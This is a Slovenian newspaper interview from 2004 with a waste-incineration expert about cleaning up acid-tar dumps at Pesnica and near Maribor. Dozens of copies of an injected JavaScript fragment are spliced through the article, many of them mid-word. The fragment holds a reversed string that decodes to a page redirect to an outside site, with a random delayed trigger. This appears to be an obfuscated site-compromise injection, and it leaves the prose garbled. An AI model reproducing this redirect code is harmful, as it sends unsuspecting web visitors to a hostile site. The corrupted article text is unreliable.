VEčER: Ponedeljek, 27. December 2004 – Stran: V ŽARIŠčU

O gudronu z dr. Nikom Samcem, strokovnjakom za termično obdelavo odpadkov

Izvoz gudrona je najslabša rešitev

½V tujini znajo mnoge nevarne odpadke zelo dobro izkoristiti kot gorivo, mi pa jim za tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to še mastno plačamo½

Sporazum o odstranitvi odlagališča gudrona v Pesniškem Dvoru, ki sta ga letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos podpisala okoljsko ministrstvo in Petrol (delnice: PETG) , naj bi bil tudi napoved, da bo ta problem končno kmalu odpravljen. ½Resno se pripravljamo na sanacijo jame in še vedno upam, da jo bomo izpeljali do konca prihodnjega leta,½ smo v Večeru zapisali izjavo Petrolovega direktobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torja. To je bilo daljnega leta 1987, štiri leta kasneje je bil celo položen temeljni kamen ob začetku sanacije.

Poskusi na papirju

Od takrat do danes je bila pesniška gudronska jama deležna veliko naslovov v časopisju, kolikor se jih pač lahko nabere od daljnega 1968. leta naprej. Poskusi očiščenja so bili ali na papirju ali streli v prazno, še najbolj takrat, ko so skušali jamo zasipati z elektrofiltrskim pepelom, ki pa olja ni vpil, na kar so strokovnjaki že vnaprej opozarjali, pa jih nihče ni hotel slišati. Letobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos je vse kazalo že skoraj idealno za Pesničane, ki morajo živeti ob jami z nevarnimi odpadki, saj naj bi začeli solidifikat, predhodno obdelan gudron, poskusno sežigati v Termoelektrarni Šoštanj (TEŠ), pred dnevi pa so šoštanjski občinski svetniki preklicali junijski sklep: Šaleška dolina je tako ali tako že ekološko preobremenjena, pravijo.

Tudi o tem, ali je strah prebivalcev doline upravičen, smo se pogovarjali z dr. Nikom Samcem z mariborske Fakultete za strojništvo, strokovnjakom za termično obdelavo odpadkov. ½Gudron je smolnata snov, podobna gostemu katranu, ki je nastala pri predelavi rabljenih motobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tornih olj po postobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topku obdelave z žveplovo kislino. Zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to najdemo v gudronu tudi do deset odstobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totkov žvepla, predvsem v obliki žveplove (VI) kisline, pa težke kovine – svinec, cink, baker, kadmij… – in najbrž še kaj; odvisno od tega, kakšne vrste odpadna olja so predelovali. Gudron ima visoko kurilno vrednost; slišal sem, da so bile v preteklosti tudi namere, da bi ga kot energent uporabili v celjski cinkarni, a niso bile uresničene zaradi visokih koncentracij žveplovega dioksida, ki bi se pri tem sproščal v dimnih plinih.½

Pesnica, Studenci, Bohova…

Žveplova kislina je seveda najbolj sporna sestavina gudrona, pravi dr. Samec. Da je tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to agresivna snov, se je lahko prepričal sam, ko so jemali vzorce gudrona za projekt poskusnega sežiga, ki ga je vodil. Analizirali so vzorce v Pesnici in na divjem odlagališču na Studencih pri Mariboru; divje odlagališče je tudi na Bohovi. ½In najbrž še marsikje v Sloveniji.½ Bohovska in studenška gudronska jama ležita na območju zavarovanih vodnih virov za Maribor. ½Gre za nevarne odpadke, ki ležijo prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to v naravi, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pa seveda omogoča pronicanje v tla. V okviru projekta smo analizirali gudron v Pesnici in na Studencih. Ne vemo, kakšna je struktura tal, ali gre denimo za nepropustno glino ali kaj drugega, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bomo lahko vedeli šele tedaj, ko bo potekal izkop. Vemo pa, da je tudi zemljina v določeni globini prepojena s temi snovmi in da jo bo treba dekontaminirati.½

Cementarne so slabša izbira

S sprejetjem evropske okoljske zakonodaje smo zavezani evropskim okoljskim normativom, ti pa nalagajo odpravo starih bremen. Torej je popolnoma jasno, da je treba rešiti tudi problem prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to odloženega gudrona, zatika pa se pri vprašanju, kakšno tehnologijo uporabiti.

½Odpadke je vsekakor treba termično obdelati, sežgati. Petrol je imel ambicijo zgraditi specializirano sežigalnico, potem pa je te načrte opustil; najbrž tudi zaradi težavne umestitve v prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor, ker je seveda nikjer ne bi želeli. Druga možnost je, da delno predelan gudron, solidifikat, sežgemo v termoenergetskih objektih, ki imajo ustrezen sistem čiščenja plinov, recimo žveplovega dioksida. Termoelektrarna Šoštanj prakticira tako imenovani mokri kalcitni postobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topek, ki zagotavlja visoko stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topnjo izločanja žveplovega dioksida, in povsem realno je pričakovanje, da v dimnih plinih ne bi bile presežene mejne emisijske vrednosti žveplovega dioksida, kar je seveda odvisno od količin doziranja v zgorevalni prostobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor. Vrste gudrona se med seboj zelo razlikujejo, že v eni sami jami se lahko pojavljajo razlike v sestavi, spet odvisno od tega, kakšna olja so bila predelana. V gudronu lahko najdemo tudi halogene spojine, ki so verjetno posledica predelave transformatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torskih olj, ki vsebujejo PCBje. V gudronu iz studenške jame smo zasledili povišano vsebnost klora, kar kaže na tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to. Se pravi, da bi pri predelavi tega gudrona nastajal vodikov klorid, ki ga je mogoče prav tako izločiti z mokrim kalcitnim postobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topkom. Da pa bi tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to lahko potrdili, je treba opraviti preizkusni sežig. Napraviti meritve, ki bi pokazale, ali se je postobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topek s stališča doseganja mejnih emisijskih vrednosti obnesel. Tako pač mora delovati stroka. Zatobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to je bil zame dokaj nepričakovan odziv iz Šoštanja – že zaradi tega, ker je v TEŠ zelo dobro uspel poskusni sežig mesno-kostne moke in sedaj povsem neproblematično poteka. Javno mnenje je seveda treba upoštevati, res pa je tudi, da stroka včasih premalo poljudno predstavi problem širši javnosti in ljudje se tako bojijo, da se utegne stanje zaradi novih postobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topkov reševanja okoljskih problemov še poslabšati. Vse tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bo spet upočasnilo sanacijo, iskale se bodo druge rešitve, za katere se bojim, da bodo manj ugodne kot prvotne. Zdaj se spet govori o tem, da bi bile možnost morda cementarne – ampak tam bodo še večje težave, ker se v cementarnah žveplov dioksid iz dimnih plinov ne izloča tako učinkovitobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to kot v termoelektrarnah. Slednje so namreč opremljene s sodobnimi odžveplovalnimi napravami. Bojim se, da bo zopet izbrana najslabša pot, se pravi izvoz gudrona nekam v tujino. Za nekatere vrste odpadkov imamo pri nas že ustaljeno prakso, da veliko davkoplačevalskega denarja porabimo za izvoz odpadkov. V tujini jih znajo zelo dobro izkoristiti kot gorivo, mi pa jim za tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to še mastno plačamo. Sam sem še zmeraj mnenja, da bi bilo smiselno gudron sežgati v za tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to posebej projektirani sežigalni napravi z učinkovitim sistemom čiščenja dimnih plinov in proizvodnjo energije, kasneje bi napravo lahko uporabljali tudi za sežiganje drugih nevarnih odpadkov: denimo olj, ki vsebujejo večje koncentracijePCBjev, močno onesnaženih mazalnih sredstev, skratka vseh tistih vrst nevarnih odpadkov, ki jih ni mogoče predelati v kakšno sekundarno surovino.½

Fotobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to: Janko Rath
Poskusi sanacij so bili ali na papirju ali streli v prazno.